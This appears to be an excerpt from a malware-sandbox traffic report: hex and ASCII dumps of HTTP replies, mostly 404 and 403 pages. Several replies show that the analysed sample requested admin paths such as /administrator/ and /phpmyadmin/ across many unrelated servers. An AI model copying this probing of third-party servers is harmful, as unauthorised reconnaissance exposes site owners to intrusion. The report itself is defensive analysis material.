Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheContent-Length: 212Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 184Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 3c c5 ca 1d 16 0d c7 a6 07 f9 89 24 88 c4 94 83 47 4c ab 25 c1 b6 42 91 f8 f6 52 b8 78 9c 9d f9 66 96 ec d2 4b c2 6e 75 06 27 76 2e a1 6e 8e 65 91 80 1f 20 16 19 cb 11 53 96 6e ce 21 8c 10 b3 ca a7 1e 91 f6 d5 53 22 45 cb 17 61 3b db 0b 1a 47 31 54 da 42 ae 27 c5 09 6e 47 8f e0 1a 22 77 cd bf 8e db d3 bf cc a2 3c 62 28 93 02 06 f1 9e c4 68 05 87 e6 5a 02 ce 26 e8 f5 b3 53 a1 91 06 e6 76 04 b5 50 0f 47 81 56 60 65 37 c2 28 86 8f 18 42 82 c6 ad ac fd 4b a3 fb cb fb 01 96 3d a0 d1 d2 00 00 00 Data Ascii: M0<$GL%BRxfKnu'v.ne Sn!S"Ea;G1TB'nG"w<b(hZ&SvPGV`e7(BK=
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveKeep-Alive: timeout=20Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:03 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:03 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://gccb.co.in/wp-json/>; rel="https://api.w.org/"Vary: User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 73 2e 77 2e 6f 72 67 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 209Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /phpmyadmin/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.57 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheContent-Length: 221Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/index.php was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 181Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 3b 0f 82 40 10 84 fb fb 15 2b 3d 2c 1a ca cb 15 f2 88 24 88 c4 1c 85 25 e6 d6 1c 09 1c 08 87 c4 7f 2f 8f c6 72 76 e6 9b 59 7e 88 6e a1 7c 14 31 5c e4 35 83 a2 3c 67 69 08 8e 8b 98 c6 32 41 8c 64 b4 3b 27 cf 47 8c 73 47 30 ae 6d db 08 ae a9 52 8b b0 b5 6d 48 04 7e 00 79 67 21 e9 26 a3 38 ee 47 c6 71 0b f1 67 a7 be 2b 77 14 7f 99 45 31 de 0b a9 09 06 7a 4f 34 5a 52 50 de 33 c0 b9 77 2b d5 d6 06 61 ae 46 30 0b f2 5a 11 e8 0c 58 5d 8f 30 d2 f0 a1 c1 e3 d8 af 13 5b f9 52 b7 3e c5 7e 8f 8c 6e 79 cf 00 00 00 Data Ascii: M;@+=,$%/rvY~n\|1\5<gi2Ad;'GsG0mRmH~yg!&8Gqg+wE1zO4ZRP3w+aF0ZX]0[R>~ny
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 